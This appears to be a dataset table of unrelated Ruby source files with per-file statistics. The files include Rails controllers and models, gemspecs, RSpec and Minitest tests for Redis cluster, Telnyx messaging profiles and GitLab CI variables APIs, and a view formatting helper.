hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
b94a08548a5a6ad6bfd07a7ee4f74fece6c86c91 | 1,180 | class AppeditrequestsController < ApplicationController
before_action :auth_user?
def index
respond_to do |format|
format.json { render :json => AppEditRequest.featured }
format.html
end
end
def show
@edit_request = AppEditRequest.find(params[:id])
@app = App.find(@edit_request.app_id)
@description_updated = @edit_request.description != @app.description
@features_updated = @edit_request.features != @app.features
end
def update
edit_request = AppEditRequest.find(params[:id])
app = App.find(edit_request.app_id)
unless params[:feedback_given]
app.description = edit_request.description
app.features = edit_request.features
app.save!
edit_request.destroy
redirect_to appeditrequests_path, alert: "Changes approved for #{app.name}"
else
new_request = edit_request.dup
new_request.feedback = params[:feedback]
new_request.status = :reviewed
edit_request.destroy
new_request.save
redirect_to appeditrequests_path, alert: "Feedback submitted for #{app.name}"
end
end
def auth_user?
User.find_by_id(session[:user_id])&.coach?
end
end
| 28.095238 | 83 | 0.70678 |
ed084c8f55113c41d1b373470a6ddb88a2b35b3e | 821 | class AnnotationText < ApplicationRecord
belongs_to :user, foreign_key: :creator_id
# An AnnotationText has many Annotations that are destroyed when an
# AnnotationText is destroyed.
has_many :annotations, dependent: :destroy
belongs_to :annotation_category, optional: true, counter_cache: true
validates_associated :annotation_category,
message: 'annotation_category associations failed'
#Find creator, return nil if not found
def get_creator
User.find_by_id(creator_id)
end
#Find last user to update this text, nil if not found
def get_last_editor
User.find_by_id(last_editor_id)
end
# Convert the content string into HTML
def html_content
content.gsub(/\n/, '<br/>').html_safe
end
def escape_newlines
content.gsub(/\r?\n/, '\\n')
end
end
| 25.65625 | 73 | 0.729598 |
bf75c463006a8c931edd756b111de07b661cf763 | 737 | require 'beaker-rspec/spec_helper'
require 'beaker-rspec/helpers/serverspec'
unless ENV['BEAKER_provision'] == 'no'
hosts.each do |host|
# Install Puppet
if host.is_pe?
install_pe
else
install_puppet
end
end
end
RSpec.configure do |c|
# Project root
proj_root = File.expand_path(File.join(File.dirname(__FILE__), '..'))
# Readable test descriptions
c.formatter = :documentation
# Configure all nodes in nodeset
c.before :suite do
# Install module and dependencies
puppet_module_install(:source => proj_root, :module_name => 'etckeeper')
hosts.each do |host|
on host, puppet('module', 'install', 'puppetlabs-stdlib'), { :acceptable_exit_codes => [0,1] }
end
end
end
| 23.774194 | 100 | 0.68521 |
1d9212ae328bf9817655558dea338ac18851fc12 | 90 | puts "WARNING: ruby19 has been removed require 'cap_recipes/tasks/ruby/install' instead."
| 45 | 89 | 0.8 |
e9a5877f4f1b6005c6a421c36fe474b84ed2c17f | 913 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'alipass/version'
Gem::Specification.new do |spec|
spec.name = "alipass"
spec.version = Alipass::VERSION
spec.authors = ["HungYuHei"]
spec.email = ["[email protected]"]
spec.summary = "支付宝卡券"
spec.description = "支付宝卡券"
spec.homepage = "https://github.com/HungYuHei/alipass"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0")
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_dependency "rest-client", "~> 1.6"
spec.add_development_dependency "bundler", "~> 1.6"
spec.add_development_dependency "rake"
spec.add_development_dependency "fakeweb", "~> 1.3"
end
| 33.814815 | 74 | 0.644031 |
628dd241cdf41f07424b2e6a9c3c1b404f30a348 | 6,661 | =begin
#NSX-T Manager API
#VMware NSX-T Manager REST API
OpenAPI spec version: 2.5.1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.7
=end
require 'date'
module NSXT
class MirrorDestination
# Resource types of mirror destination
attr_accessor :resource_type
class EnumAttributeValidator
attr_reader :datatype
attr_reader :allowable_values
def initialize(datatype, allowable_values)
@allowable_values = allowable_values.map do |value|
case datatype.to_s
when /Integer/i
value.to_i
when /Float/i
value.to_f
else
value
end
end
end
def valid?(value)
!value || allowable_values.include?(value)
end
end
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'resource_type' => :'resource_type'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'resource_type' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'resource_type')
self.resource_type = attributes[:'resource_type']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @resource_type.nil?
invalid_properties.push('invalid value for "resource_type", resource_type cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @resource_type.nil?
resource_type_validator = EnumAttributeValidator.new('String', ['LogicalPortMirrorDestination', 'PnicMirrorDestination', 'IPMirrorDestination'])
return false unless resource_type_validator.valid?(@resource_type)
true
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] resource_type Object to be assigned
def resource_type=(resource_type)
validator = EnumAttributeValidator.new('String', ['LogicalPortMirrorDestination', 'PnicMirrorDestination', 'IPMirrorDestination'])
unless validator.valid?(resource_type)
fail ArgumentError, 'invalid value for "resource_type", must be one of #{validator.allowable_values}.'
end
@resource_type = resource_type
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
resource_type == o.resource_type
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[resource_type].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXT.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 29.736607 | 150 | 0.632037 |
ffbeface46b8d5ecb7a7eff894ebcd67fab33e73 | 1,333 | # This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
#管理者アカウント作成
User.create!(name: "Example User",
email: "[email protected]",
password: "foobar",
password_confirmation: "foobar",
admin: true)
#その他アカウントを99個作成
99.times do |n|
#ユーザー名も日本語化
Faker::Config.locale = 'ja'
name = Faker::Name.name
email = "example-#{n+1}@railstutorial.org"
password = "password"
User.create!(name: name,
email: email,
password: password,
password_confirmation: password)
end
#最初の6アカウントへ50個分のPlaceを追加
users = User.order(:created_at).take(6)
50.times do
Faker::Config.locale = 'ja'
place_name = Faker::University.name
address1 = Faker::Address.state
address2 = Faker::Address.city
address3 = Faker::Address.street_name
address4 = Faker::Address.building_number
place_address = address1 + address2 + address3 + address4
users.each { |user| user.place.create!(name: place_name, address: place_address) }
end
| 32.512195 | 111 | 0.67817 |
2837e9a8b2dbf924985da75c764afef88d58b486 | 1,142 | # frozen_string_literal: true
class V1::Ui::Tests::WebhooksController < V1::Ui::Tests::ApplicationController
attr_reader :webhook
WEBHOOKS = %w[
product_created
product_updated
shadow_product_updated
].freeze
rescue_from V1::Webhook::Error do |e|
logger.error "Translating #{e.class} -> HttpError::BadRequest: #{e.message}"
error = HttpError::BadRequest.new e.message
render_error error
end
def test
@webhook = V1::Webhook.new current_vendor_config
desired_webhook = (WEBHOOKS & [params[:webhook]]).first
public_send "test_#{desired_webhook}"
head :accepted
end
def test_product_created
product = FactoryBot.build :product, sku: 'abcdef123'
webhook.product_created product.sku
end
def test_product_updated
product = FactoryBot.build :product, sku: 'abcdef123'
webhook.product_updated product.sku,
name: ['Old product name', 'New product name']
end
def test_shadow_product_updated
product = FactoryBot.build :product, sku: 'abcdef123'
webhook.shadow_product_updated product.sku,
name: ['Old product name', 'New product name']
end
end
| 27.190476 | 80 | 0.71979 |
b97738f495f0033bf1ae3fcf3ebfc4dad8cd4a7f | 11,119 | module TransamFormatHelper
# Include the fiscal year mixin
include FiscalYear
include ActionView::Helpers::NumberHelper
# Formats text as as HTML using simple_format
def format_as_text(val, sanitize=false)
simple_format(val, {}, :sanitize => sanitize)
end
# Formats a user name and provides message link and optional messaging options
# available via the options hash
def format_as_message_link(user, options = {})
html = ''
unless user.blank?
options[:to_user] = user
options[:subject] = options[:subject] || ''
options[:body] = options[:body] || ''
message_url = new_user_message_path(current_user, options)
html = "<a href='#{message_url}'>#{user.email}"
html << ' '
html << "<i class = 'fa fa-envelope'></i>"
html << "</a>"
end
html.html_safe
end
# Formats a user name and provides an optional (defaulted) message link and
# messaging options
def format_as_user_link(user, options = {})
html = ''
unless user.blank?
options[:to_user] = user
options[:subject] = options[:subject] || ''
options[:body] = options[:body] || ''
user_url = user_path(user)
html = "<a href='#{user_url}'>#{user}</a>"
from_user = options[:from_user]
if from_user.present?
message_url = new_user_message_path(from_user, options)
html << ' '
html << "<span class = 'message-link'>"
html << "<a href='#{message_url}'>"
html << "<i class = 'fa fa-envelope'></i>"
html << "</a>"
html << "</span>"
end
end
html.html_safe
end
# Formats a quantity as an integer followed by a unit type
def format_as_quantity(count, unit_type = 'unit')
unless unit_type.blank?
"#{format_as_integer(count)} #{unit_type}"
else
"#{count}"
end
end
# formats an assets list of asset groups with remove option
def format_asset_groups(asset, style = 'info')
html = ""
asset.asset_groups.each do |grp|
html << "<span class='label label-#{style}'>"
html << grp.code
html << "<span data-role='remove' data-action-path='#{remove_from_group_inventory_path(asset, :asset_group => grp)}'></span>"
html << "</span>"
end
html.html_safe
end
# formats a collection of objecsts as labels/tags. By default labels are displayed
# using label-info but can be controlled using the optional style param. Label text
# is generated using to_s unless the object has a 'code' method
def format_as_labels(coll, style = 'info')
html = ''
coll.each do |e|
if e.respond_to? :code
txt = e.code
else
txt = e.to_s
end
html << format_as_label(txt, style)
end
html.html_safe
end
# formats an element as a label. By default labels are displayed
# using label-info but can be controlled using the optional style param
def format_as_label(elem, style = 'info')
html = "<span class='label label-#{style}'>"
html << elem.to_s
html << "</span>"
html.html_safe
end
# formats a year value as a fiscal year string 'FY XX-YY'
def format_as_fiscal_year(val, klass = nil)
fiscal_year(val, klass) unless val.nil?
end
# formats a URL as a link
def format_as_url(url, target = '_blank')
link_to(url, url, :target => target)
end
# if no precision is set this truncates any decimals and returns the number as currency
def format_as_currency(val, precision = 0, negative_format: "(%u%n)")
val ||= 0
if precision == 0
if val < 0
val = val - 0.5
else
val = val + 0.5
end
number_to_currency(val.to_i, :precision => 0, negative_format: negative_format)
else
number_to_currency(val, :precision => precision, negative_format: negative_format)
end
end
# if the value is a number it is formatted as a decimal or integer
# otherwise we assume it is a string and is returned
def format_as_general(val, precision = nil)
begin
Float(val)
precision ||= (val % 1 == 0) ? 0 : 2
number_with_precision(val, :precision => precision, :delimiter => ",")
rescue
val
end
end
# truncates any decimals and returns the number with thousands delimiters
def format_as_integer(val)
format_as_decimal(val, 0)
end
# returns a number as a decimal
def format_as_decimal(val, precision = 2)
number_with_precision(val, :precision => precision, :delimiter => ",")
end
# returns a number as a percentage
def format_as_percentage(val, precision = 0)
num = number_with_precision(val, :precision => precision)
"#{num}%" unless num.blank?
end
# returns a number formatted as a phone number
def format_as_phone_number(val, area_code = true)
number_to_phone(val, :area_code => area_code)
end
# returns a collection as a formatted list
def format_as_list(coll)
html = "<ul class='list-unstyled'>"
coll.each do |e|
html << "<li>"
html << e.to_s
html << "</li>"
end
html << "</ul>"
html.html_safe
end
# returns a collection as a formatted table without headers
def format_as_table_without_headers(data, number_of_columns = 5, cell_padding_in_px = '6px')
html = "<table class='table-unstyled'>"
counter = 0
data.each do |datum|
if counter == 0
html << '<tr>'
end
html << "<td style='padding:#{cell_padding_in_px};'>"
html << datum.to_s
html << "</td>"
counter += 1
if ( (counter >= number_of_columns) || (datum.equal? data.last))
html << '</tr>'
counter = 0
end
end
html << "</table>"
html.html_safe
end
# formats a boolean field using a checkbox if the value is true
def format_as_checkbox(val, text_class='text-default')
if val
return "<i class='fa fa-check-square-o #{text_class}'></i>".html_safe
else
return "<i class='fa fa-square-o #{text_class}'></i>".html_safe
end
end
# formats a boolean field using a flag if the value is true
def format_as_boolean(val, icon="fa-check", text_class='text-default')
if val
return "<i class='fa #{icon} #{text_class}'></i>".html_safe
else
return "<i class='fa #{icon} #{text_class}' style = 'visibility: hidden;'></i>".html_safe
end
end
# formats a boolean field as Yes or No
def format_as_yes_no(val)
if val
return "Yes"
else
return "No"
end
end
# Formats a date as a day date eg Mon 24 Oct
def format_as_day_date(date)
date.strftime("%a %d %b") unless date.nil?
end
# formats a date/time as a distance in words. e.g. 6 days ago
def format_as_date_time_distance(datetime)
dist = distance_of_time_in_words_to_now(datetime)
if Time.current > datetime
dist = dist + " ago"
end
return dist
end
# formats a date/time, where use_slashes indicates eg 10/24/2014 instead of 24 Oct 2014
def format_as_date_time(datetime, use_slashes=true)
if use_slashes
datetime.strftime("%m/%d/%Y %I:%M %p") unless datetime.nil?
else
datetime.strftime("%b %d %Y %I:%M %p ") unless datetime.nil?
end
end
# formats a date, where use_slashes indicates eg 10/24/2014 instead of 24 Oct 2014
def format_as_date(date, use_slashes=true, blank: '')
unless date&.year == 1
if date.nil?
blank
else
if use_slashes
date.strftime("%m/%d/%Y")
else
date.strftime("%b %d %Y")
end
end
end
end
# formats a time as eg " 8:00 am" or "11:00 pm"
def format_as_time(time)
return time.strftime("%l:%M %p") unless time.nil?
end
# formats a time as eg "08:00" or "23:00"
def format_as_military_time(time)
return time.strftime("%H:%M") unless time.nil?
end
# formats a number of seconds as the corresponding days, hours, minutes, and optional seconds
def format_as_time_difference(s, show_seconds = false)
return if s.blank?
dhms = [60,60,24].reduce([s]) { |m,o| m.unshift(m.shift.divmod(o)).flatten }
val = []
val << "#{dhms[0]} days" unless dhms[0] == 0
val << "#{dhms[1]}h" unless dhms[1] == 0
val << "#{dhms[2]}m"
val << "#{dhms[3]}s" if show_seconds
val.join(' ')
end
# formats an object containing US address fields as html
def format_as_address(m)
full_address = []
full_address << m.address1 unless m.address1.blank?
full_address << m.address2 unless m.address2.blank?
address3 = []
address3 << m.city unless m.city.blank?
address3 << m.state unless m.state.blank?
address3 << m.zip unless m.zip.blank?
address3 = address3.compact.join(', ')
full_address << address3
full_address = full_address.compact.join('<br/>')
return full_address.html_safe
end
# formats an unconstrained string as a valid HTML id
def format_as_id(val)
val.parameterize.underscore
end
# formats a label/value combination, providing optional popover support
def format_field(label, value, popover_text=nil, popover_iconcls=nil, popover_label=nil, popover_location='value')
html = "<div class='row control-group'>"
html << "<div class='col-xs-5 display-label'>"
html << label
if popover_location=='label' && popover_text.present?
popover_iconcls = 'fa fa-info-circle info-icon' unless popover_iconcls
popover_label = label unless popover_label
html << "<i class='#{popover_iconcls} info-icon' data-toggle='popover' data-trigger='hover' title='#{popover_label}' data-placement='right' data-content='#{popover_text}'></i>"
end
html << "</div>"
html << "<div class='col-xs-7 display-value'>"
html << value.to_s unless value.nil?
if popover_location=='value' && popover_text.present?
popover_iconcls = 'fa fa-info-circle info-icon' unless popover_iconcls
popover_label = label unless popover_label
html << "<i class='#{popover_iconcls} info-icon' data-toggle='popover' data-trigger='hover' title='#{popover_label}' data-placement='right' data-content='#{popover_text}'></i>"
end
html << "</div>"
html << "</div>"
return html.html_safe
end
# formats a value using the indicated format
def format_using_format(val, format)
case format
when :currencyM
number_to_currency(val, format: '%u%nM', negative_format: '(%u%nM)')
when :currency
format_as_currency(val)
when :fiscal_year
format_as_fiscal_year(val.to_i) unless val.nil?
when :integer
format_as_integer(val)
when :decimal
format_as_decimal(val)
when :percent
format_as_percentage(val)
when :string
val
when :checkbox
format_as_checkbox(val)
when :boolean
# Check for 1/0 val as well as true/false given direct query clause
format_as_boolean(val == 0 ? false : val)
when :list
format_as_list(val)
else
# Note, current implementation uses rescue and is thus potentially inefficient.
# Consider alterantives.
format_as_general(val)
end
end
end
| 30.463014 | 182 | 0.642684 |
bf3f8eb6ee8f2762fa26e9257c82bc0a6cba5ad1 | 2,615 | # frozen_string_literal: true
require_relative 'helper'
# ruby -w -Itest test/cluster_client_internals_test.rb
class TestClusterClientInternals < Minitest::Test
include Helper::Cluster
def test_handle_multiple_servers
100.times { |i| redis.set(i.to_s, "hogehoge#{i}") }
100.times { |i| assert_equal "hogehoge#{i}", redis.get(i.to_s) }
end
def test_info_of_cluster_mode_is_enabled
assert_equal '1', redis.info['cluster_enabled']
end
def test_unknown_commands_does_not_work_by_default
assert_raises(Redis::CommandError) do
redis.not_yet_implemented_command('boo', 'foo')
end
end
def test_with_reconnect
assert_equal('Hello World', redis.with_reconnect { 'Hello World' })
end
def test_without_reconnect
assert_equal('Hello World', redis.without_reconnect { 'Hello World' })
end
def test_connected?
assert_equal true, redis.connected?
end
def test_close
assert_equal true, redis.close
end
def test_disconnect!
assert_equal true, redis.disconnect!
end
def test_asking
assert_equal 'OK', redis.asking
end
def test_id
expected = 'redis://127.0.0.1:7000/0 '\
'redis://127.0.0.1:7001/0 '\
'redis://127.0.0.1:7002/0'
assert_equal expected, redis.id
end
def test_inspect
expected = "#<Redis client v#{Redis::VERSION} for "\
'redis://127.0.0.1:7000/0 '\
'redis://127.0.0.1:7001/0 '\
'redis://127.0.0.1:7002/0>'
assert_equal expected, redis.inspect
end
def test_dup
assert_instance_of Redis, redis.dup
end
def test_connection
expected = [
{ host: '127.0.0.1', port: 7000, db: 0, id: 'redis://127.0.0.1:7000/0', location: '127.0.0.1:7000' },
{ host: '127.0.0.1', port: 7001, db: 0, id: 'redis://127.0.0.1:7001/0', location: '127.0.0.1:7001' },
{ host: '127.0.0.1', port: 7002, db: 0, id: 'redis://127.0.0.1:7002/0', location: '127.0.0.1:7002' }
]
assert_equal expected, redis.connection
end
def test_acl_auth_success
target_version "6.0.0" do
with_acl do |username, password|
r = _new_client(cluster: DEFAULT_PORTS.map { |port| "redis://#{username}:#{password}@#{DEFAULT_HOST}:#{port}" })
assert_equal('PONG', r.ping)
end
end
end
def test_acl_auth_failure
target_version "6.0.0" do
with_acl do |username, _|
assert_raises(Redis::Cluster::InitialSetupError) do
_new_client(cluster: DEFAULT_PORTS.map { |port| "redis://#{username}:wrongpassword@#{DEFAULT_HOST}:#{port}" })
end
end
end
end
end
| 26.958763 | 120 | 0.648566 |
61e329981fff71c900c961e9f998156a267d53ac | 673 | # frozen_string_literal: true
require "cmd/shared_examples/args_parse"
describe "Homebrew.outdated_args" do
it_behaves_like "parseable arguments"
end
describe "brew outdated", :integration_test do
it "outputs JSON" do
setup_test_formula "testball"
(HOMEBREW_CELLAR/"testball/0.0.1/foo").mkpath
expected_json = [
{
name: "testball",
installed_versions: ["0.0.1"],
current_version: "0.1",
pinned: false,
pinned_version: nil,
},
].to_json
expect { brew "outdated", "--json=v1" }
.to output("#{expected_json}\n").to_stdout
.and be_a_success
end
end
| 23.206897 | 49 | 0.616642 |
fff16dd0b97ca61845ea1ce619f6790eee65c99d | 408 | class CreateFormgenForms < ActiveRecord::Migration
def change
create_table :formgen_forms do |t|
t.string :title
t.string :path
t.string :email
t.timestamps
end
create_table :formgen_questions do |t|
t.references :form
t.string :value
t.string :language
t.boolean :mandatory
t.integer :question_type
t.timestamps
end
end
end
| 18.545455 | 50 | 0.642157 |
1db9f7057cec5b846e3179c506ec97bf9a96cb78 | 3,293 | # frozen_string_literal: true
require ::File.expand_path("../../test_helper", __FILE__)
module Telnyx
class MessagingProfileTest < Test::Unit::TestCase
should "be listable" do
messaging_profiles = Telnyx::MessagingProfile.list
assert_requested :get, "#{Telnyx.api_base}/v2/messaging_profiles"
assert messaging_profiles.data.is_a?(Array)
assert messaging_profiles.first.is_a?(Telnyx::MessagingProfile)
end
should "be retrievable" do
messaging_profile = Telnyx::MessagingProfile.retrieve("123")
assert_requested :get, "#{Telnyx.api_base}/v2/messaging_profiles/123"
assert messaging_profile.is_a?(Telnyx::MessagingProfile)
end
should "be creatable" do
messaging_profile = Telnyx::MessagingProfile.create(name: "Foo")
assert_requested :post, "#{Telnyx.api_base}/v2/messaging_profiles"
assert messaging_profile.is_a?(Telnyx::MessagingProfile)
end
should "be saveable" do
# stub out save until number_pool_settings issue is worked out
messaging_profile = Telnyx::MessagingProfile.retrieve("123")
stub = stub_request(:patch, "#{Telnyx.api_base}/v2/messaging_profiles/123")
.with(body: hash_including(name: "foo"))
.to_return(body: JSON.generate(data: messaging_profile))
messaging_profile.name = "foo"
messaging_profile.save
# assert_requested :patch, "#{Telnyx.api_base}/v2/messaging_profiles/#{messaging_profile.id}"
assert_requested stub
end
should "be updatable" do
# stub out save until number_pool_settings issue is worked out
stub = stub_request(:patch, "#{Telnyx.api_base}/v2/messaging_profiles/123")
.with(body: hash_including(name: "foo"))
.to_return(body: JSON.generate(data: MessagingProfile.retrieve("123")))
messaging_profile = Telnyx::MessagingProfile.update("123", name: "foo")
# assert_requested :patch, "#{Telnyx.api_base}/v2/messaging_profiles/123"
assert_requested stub
assert messaging_profile.is_a?(Telnyx::MessagingProfile)
end
should "be deletable" do
messaging_profile = Telnyx::MessagingProfile.retrieve("123")
messaging_profile = messaging_profile.delete
assert_requested :delete, "#{Telnyx.api_base}/v2/messaging_profiles/#{messaging_profile.id}"
assert messaging_profile.is_a?(Telnyx::MessagingProfile)
end
should "be able to list PhoneNumbers" do
messaging_profile = Telnyx::MessagingProfile.retrieve("123")
phone_numbers = messaging_profile.phone_numbers
assert_requested :get, "#{Telnyx.api_base}/v2/messaging_profiles/123/phone_numbers"
assert phone_numbers.data.is_a?(Array)
assert_kind_of Telnyx::MessagingPhoneNumber, phone_numbers.data[0]
end
should "be able to list alphanumeric sender ids" do
omit "alphanumeric ids mock spec removed"
messaging_profile = Telnyx::MessagingProfile.retrieve("123")
alphanumeric_sender_ids = messaging_profile.alphanumeric_sender_ids
assert_requested :get, "#{Telnyx.api_base}/v2/messaging_profiles/123/alphanumeric_sender_ids"
assert_kind_of Telnyx::ListObject, alphanumeric_sender_ids
assert_kind_of Telnyx::AlphanumericSenderId, alphanumeric_sender_ids.first
end
end
end
| 44.5 | 99 | 0.728515 |
79ee6c126f60e702c987df47126525ae3386097f | 6,589 | require 'spec_helper'
describe API::Variables do
let(:user) { create(:user) }
let(:user2) { create(:user) }
let!(:project) { create(:project, creator_id: user.id) }
let!(:master) { create(:project_member, :master, user: user, project: project) }
let!(:developer) { create(:project_member, :developer, user: user2, project: project) }
let!(:variable) { create(:ci_variable, project: project) }
describe 'GET /projects/:id/variables' do
context 'authorized user with proper permissions' do
it 'returns project variables' do
get api("/projects/#{project.id}/variables", user)
expect(response).to have_gitlab_http_status(200)
expect(json_response).to be_a(Array)
end
end
context 'authorized user with invalid permissions' do
it 'does not return project variables' do
get api("/projects/#{project.id}/variables", user2)
expect(response).to have_gitlab_http_status(403)
end
end
context 'unauthorized user' do
it 'does not return project variables' do
get api("/projects/#{project.id}/variables")
expect(response).to have_gitlab_http_status(401)
end
end
end
describe 'GET /projects/:id/variables/:key' do
context 'authorized user with proper permissions' do
it 'returns project variable details' do
get api("/projects/#{project.id}/variables/#{variable.key}", user)
expect(response).to have_gitlab_http_status(200)
expect(json_response['value']).to eq(variable.value)
expect(json_response['protected']).to eq(variable.protected?)
end
it 'responds with 404 Not Found if requesting non-existing variable' do
get api("/projects/#{project.id}/variables/non_existing_variable", user)
expect(response).to have_gitlab_http_status(404)
end
end
context 'authorized user with invalid permissions' do
it 'does not return project variable details' do
get api("/projects/#{project.id}/variables/#{variable.key}", user2)
expect(response).to have_gitlab_http_status(403)
end
end
context 'unauthorized user' do
it 'does not return project variable details' do
get api("/projects/#{project.id}/variables/#{variable.key}")
expect(response).to have_gitlab_http_status(401)
end
end
end
describe 'POST /projects/:id/variables' do
context 'authorized user with proper permissions' do
it 'creates variable' do
expect do
post api("/projects/#{project.id}/variables", user), key: 'TEST_VARIABLE_2', value: 'VALUE_2', protected: true
end.to change {project.variables.count}.by(1)
expect(response).to have_gitlab_http_status(201)
expect(json_response['key']).to eq('TEST_VARIABLE_2')
expect(json_response['value']).to eq('VALUE_2')
expect(json_response['protected']).to be_truthy
end
it 'creates variable with optional attributes' do
expect do
post api("/projects/#{project.id}/variables", user), key: 'TEST_VARIABLE_2', value: 'VALUE_2'
end.to change {project.variables.count}.by(1)
expect(response).to have_gitlab_http_status(201)
expect(json_response['key']).to eq('TEST_VARIABLE_2')
expect(json_response['value']).to eq('VALUE_2')
expect(json_response['protected']).to be_falsey
end
it 'does not allow to duplicate variable key' do
expect do
post api("/projects/#{project.id}/variables", user), key: variable.key, value: 'VALUE_2'
end.to change {project.variables.count}.by(0)
expect(response).to have_gitlab_http_status(400)
end
end
context 'authorized user with invalid permissions' do
it 'does not create variable' do
post api("/projects/#{project.id}/variables", user2)
expect(response).to have_gitlab_http_status(403)
end
end
context 'unauthorized user' do
it 'does not create variable' do
post api("/projects/#{project.id}/variables")
expect(response).to have_gitlab_http_status(401)
end
end
end
describe 'PUT /projects/:id/variables/:key' do
context 'authorized user with proper permissions' do
it 'updates variable data' do
initial_variable = project.variables.first
value_before = initial_variable.value
put api("/projects/#{project.id}/variables/#{variable.key}", user), value: 'VALUE_1_UP', protected: true
updated_variable = project.variables.first
expect(response).to have_gitlab_http_status(200)
expect(value_before).to eq(variable.value)
expect(updated_variable.value).to eq('VALUE_1_UP')
expect(updated_variable).to be_protected
end
it 'responds with 404 Not Found if requesting non-existing variable' do
put api("/projects/#{project.id}/variables/non_existing_variable", user)
expect(response).to have_gitlab_http_status(404)
end
end
context 'authorized user with invalid permissions' do
it 'does not update variable' do
put api("/projects/#{project.id}/variables/#{variable.key}", user2)
expect(response).to have_gitlab_http_status(403)
end
end
context 'unauthorized user' do
it 'does not update variable' do
put api("/projects/#{project.id}/variables/#{variable.key}")
expect(response).to have_gitlab_http_status(401)
end
end
end
describe 'DELETE /projects/:id/variables/:key' do
context 'authorized user with proper permissions' do
it 'deletes variable' do
expect do
delete api("/projects/#{project.id}/variables/#{variable.key}", user)
expect(response).to have_gitlab_http_status(204)
end.to change {project.variables.count}.by(-1)
end
it 'responds with 404 Not Found if requesting non-existing variable' do
delete api("/projects/#{project.id}/variables/non_existing_variable", user)
expect(response).to have_gitlab_http_status(404)
end
end
context 'authorized user with invalid permissions' do
it 'does not delete variable' do
delete api("/projects/#{project.id}/variables/#{variable.key}", user2)
expect(response).to have_gitlab_http_status(403)
end
end
context 'unauthorized user' do
it 'does not delete variable' do
delete api("/projects/#{project.id}/variables/#{variable.key}")
expect(response).to have_gitlab_http_status(401)
end
end
end
end
| 33.617347 | 120 | 0.668235 |
216dea19ff20bfb0d826eb79cd04f52677d5bc03 | 213 | # frozen_string_literal: true
class DeployBuild < ActiveRecord::Base
belongs_to :deploy, inverse_of: :deploy_builds
belongs_to :build, inverse_of: :deploy_builds
end
Samson::Hooks.load_decorators(DeployBuild)
| 30.428571 | 48 | 0.816901 |
edf961ec9a61e45ef0ead55aa85047981522b745 | 1,175 | # encoding: utf-8
require 'test_helper'
module Adapi
class ConfigTest < Test::Unit::TestCase
context "Loading adapi.yml" do
should "load the configuration" do
Adapi::Config.dir = 'test/fixtures'
Adapi::Config.filename = 'adapi.yml'
@settings = Adapi::Config.settings(true)
assert_equal '555-666-7777', @settings[:default][:authentication][:client_customer_id]
